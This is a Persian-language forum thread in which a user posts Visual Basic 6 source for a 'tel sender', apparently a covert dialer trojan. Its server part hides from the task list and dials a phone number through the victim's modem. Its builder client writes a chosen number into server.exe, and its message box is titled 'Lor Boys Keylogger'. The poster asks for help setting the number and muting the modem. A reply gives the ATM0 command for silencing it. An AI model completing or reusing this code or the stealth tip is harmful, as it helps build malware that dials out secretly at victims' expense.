كمك در مورد سورس tel sender

[a_m_i_n_000]

من يه سورس تل سندر دارم . واسش يه كلاينت درست كردم . مي خواستم بدونم چه طوري ميشه شماره تلفن رو تو كلاينت داخل textbox وارد كنيم و بعد از ساختن سرور بره تو ر سرور .
البته سورس كلاينت كه گذاشتم بايد يكم تغيير كنه . بلدم چطوري سرور رو به كلاينت ربط بدم . فقط مي خام شماره رو تو كلاينت وارد كنم .

چه طوري ميشه صداي تابلو مودم رو قطع كنم .
اين يه تيكه از كد سرور :


Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long


Dim ReDial As Integer





Private Sub Form_Load()


App.TaskVisible = False


End Sub





Private Sub Text1_Change()





End Sub





Private Sub Timer1_Timer()


IsOffLine = InternetGetConnectedState(INTERNET_CONNECTION_MODE M_BUSY, 0&)


If IsOffLine = 0 Then


M1.InputLen = 1


M1.CommPort = 3


M1.Settings = "28800,n,8,1"


If M1.PortOpen = False Then


M1.PortOpen = True


End If


ReDial = ReDial + 1


M1.Output = "ATDT 0911xxxxxxx" + Text1.Text & vbCr


End If


If ReDial = 5 Then End


End Sub



اينم كد كلاينت :


Private Sub Command1_Click()


Dim files() As Byte


files = LoadResData(101, "CUSTOM")


Open App.Path & "\" & "server.exe" For Binary As #1


Put #1, , files()


Close #1


MsgBox "", vbOKOnly, "Lor Boys Keylogger 1"





Open App.Path & "\" & "server.exe" For Binary As #2


Seek #2, 20490


Put #2, , Text1.Text


Close #2


End Sub





Private Sub Form_Load()





End Sub





Private Sub Text1_Change()





End Sub







:چشمک:

[3dboy1]

با سلام
يك تاپيك در اين باره زده شد
اگر جستجو كنيد به جوابتون ميرسيد
موفق باشيد

[a_m_i_n_000]

كسي نمي تونه منو راهنمايي كنه ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ ؟؟؟؟؟؟؟؟؟؟

[a_m_i_n_000]

کممممممممممممممممممممممکک ککککککککککککککک

[soheilbehro]

صدای مودم را از طریق زیر می تونی قطع کنی:
start-control panel-"switch to classic view"-phone and modem option-modem-properties-advanced
در اولیت textBox کلمه زیر را تایپ کن
atm0